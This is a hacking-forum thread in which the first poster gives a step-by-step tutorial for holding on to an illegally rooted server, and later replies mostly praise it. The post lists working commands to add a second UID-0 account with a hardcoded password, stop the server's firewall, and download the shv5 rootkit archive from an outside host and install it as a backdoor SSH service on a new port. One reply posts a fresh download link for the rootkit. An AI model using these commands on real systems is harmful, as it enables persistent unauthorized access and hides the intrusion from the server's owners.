

Forum:[Hack Forums](#)

Thread: [\[TUT\] How to Save Root on Hacked Server + Close Firewall + Add Root User \[Method 1\]](#)

?Victory - May 18, 2012, 4:20 pm

Greetings Ladies

In this tutorial you will be learning :

- Create a new User with Root Privilege
- Closing Server's Firewall
- Save Root if Password Changed Or User got Deleted

Requirments :

- rooted server with ssh access
- Putty
- Tools (Provided at the end of Topic)

Chapter 1 : Connecting with Putty

All we have to do here is Just

- 1) Open Putty
- 2) Enter Server IP and Port
- 3) Connect
- 4) Type username and Pass

Now we will see something like this :

[img]<http://www4.picturepush.com/photo/a/8288937/1024/Anonymous/Capture1.png>[img]

Now we should type :

```
Code /usr/sbin/useradd -o -u 0 hackforums  
passwd hackforums  
hf300!
```

Here We created a user called 'hackforums' with password 'hf300!'
now lets Logout and Login as 'hackforums'

[img]<http://www1.picturepush.com/photo/a/8288939/1024/Anonymous/Capture2.png>[img]

now lets type :

```
Code whoami  
when you see 'root' then we have successfully added new root user
```

Chapter 2 (Saving our Root)

Now after we Login to ssh

We have to close the firewall of the Server, Just by typing :

Code /etc/init.d/ipaliases stop
Now we have to Upload the 'shv5.zip'

Now what does this zip do ?
It Simply Add new ssh Connection with new root and new Connection Port

P.S. there are 3 ways to Save Root I will only be teaching only one in this Tutorial

Okey now we have to upload shv5.zip by using this Command :

Code wget http://site.com/shv5.zip
[img]http://www2.picturepush.com/photo/a/8288955/1024/Anonymous/Capture3.png[/img]

this will download file to Server .. Now after we download it we will unzip it by using this command :

Code unzip shv5.zip
Now after we unzip it we have to Enter the shv5 dir by typing :
Code cd shv5
and changing chmod to setup file to 4577 :
Code chmod 4755 setup
./setup hackforums 754

Run Command - Filename - Username for new connection - ssh Port

And Now we Are done just relax your back till it finish. Now after it finished you may get an Error ..
just ignore it and close putty and Open it again with new Port number and Username and Enjoy ^.^

Shout Outs :

- ??? x O r ?
- -DownFall
- BeggfoMercy
- JoomlaIfkr

Tools :

- shv5.zip [Click Here](#)

victory2u?

joomlaIfkr - May 18, 2012, 4:33 pm

Thanks for the Shout-out buddy !
and great tutorial , now we are speaking of rootkits in HF , that's awesome

Great work !

BeggFoMercy - May 18, 2012, 4:41 pm

Thanks for the shout out buddy <3 , And really nice tut u got their , Keep it up

alboraa41 - December 26, 2013, 9:59 am

Nice and educating tutorial but the link to the tools is suspended

133720 - December 26, 2013, 8:37 pm

Thanks a lot for the great tut.
Cheer!

supracontra - December 26, 2013, 9:34 pm

Judging from the quality of the information provided, OP doesn't understand any of it and couldn't tell me what to do if `/usr/sbin/useradd` wasn't present or had been renamed.

Challenge accepted?

Oh, for the retard above talking about rootkits, plz understand what a rootkit is.

<https://en.wikipedia.org/wiki/Rootkit>

Im gone brah - December 27, 2013, 6:25 am

It's not silent at all by adding another root or user. I would not do it if it's not necessary to add another user.

Sw33t - December 27, 2013, 6:52 am

This is nice man thank's for sharing this :)

FearTheBob - December 27, 2013, 1:49 pm

great tutorial keep up the good work :D

Billie - March 6, 2014, 11:54 pm

your links are dead here is a new one <http://www.dropbox.com/s/aumgskc9swup0nn/shv5.zip>

abarbod - March 7, 2014, 2:56 am

Thanks a lot for the great tut ?

Solomon Grundy - April 25, 2014, 5:14 pm

this is an awesome share and i believe this tutor help alot of readers one way or the other

Th3PonyWizard - April 26, 2014, 2:15 am

Very similar to Hax0r's tutorial and I personally believe his one is better. Still tho, good stuff.

bobojumbo - April 22, 2015, 8:17 pm

when i introduce the first comand with `adduser` appear: like this:

```
/usr/sbin/useradd -o -u 0 bobo
Adding user `bobo' ...
Adding new group `bobo' (1001) ...
Adding new user `bobo' (1001) with group `bobo' ...
Creating home directory `/home/bobo' ...
Copying files from `/etc/skel' ...
Password:
Password again:
```

after i put a passowr chose by my self , i recive this:

```
Changing the user information for bobo
Enter the new value, or press ENTER for the default
```

i press aneter too be default,but i recive this:

Username []:
Must enter a value!

and when i ty too put some info

Username []: b
Full Name []: a
Room Number []: a
Work Phone []: 23245454435
Home Phone []: 8675644434
Mobile Phone []: 53453475
Country []: us
City []: ny
Language []: en
Favorite movie []: x-man
Other []: d33

Is the information correct? [Y/n] y
ERROR: Some of the information you entered is invalid
Deleting user `bobo' ...
Deleting group `bobo' (1001) ...
Deleting home directory `/home/bobo' ...
Try again? [Y/n] n

what i do?

MNZK0406 - May 23, 2015, 10:04 am

hey man this is so nice ! i never know this can be doing like this ! seriously this is so amazing !
thanks for your sharing man ! your kindness would be appreciate !

ElViruZ - May 23, 2015, 4:38 pm

(Apr 22, 2015 08:17 PM)bobojumbo Wrote: [\[CITE\]](#) when i introduce the first comand with adduser
appear: like this:

```
/usr/sbin/useradd -o -u 0 bobo
Adding user `bobo' ...
Adding new group `bobo' (1001) ...
Adding new user `bobo' (1001) with group `bobo' ...
Creating home directory `/home/bobo' ...
Copying files from `/etc/skel' ...
Password:
Password again:
```

after i put a passowr chose by my self , i recive this:

Changing the user information for bobo
Enter the new value, or press ENTER for the default

i press aneter too be default,but i recive this:

Username []:
Must enter a value!

and when i ty too put some info

Username []: b
Full Name []: a
Room Number []: a
Work Phone []: 23245454435
Home Phone []: 8675644434
Mobile Phone []: 53453475
Country []: us
City []: ny
Language []: en
Favorite movie []: x-man
Other []: d33

Is the information correct? [Y/n] y
ERROR: Some of the information you entered is invalid
Deleting user `bobo' ...
Deleting group `bobo' (1001) ...
Deleting home directory `/home/bobo' ...
Try again? [Y/n] n

what i do?
This looks like a honeypot.

Armada - May 29, 2015, 8:53 am

Very nice tut OP, thanks for sharing!

123keshavdoggy - May 29, 2015, 1:14 pm

Nice tutorial bro its greatly and nicely written

DivineLegacy - June 3, 2015, 8:28 pm

Awesome tutorial! Thanks for the share!

ProblemSolva - June 4, 2015, 1:02 am

Nice tutorial but i wouldnt do this, the admin sees that there is a new user created, and so they know they have been comprimised.. also putty sucks man go for a real linux terminal.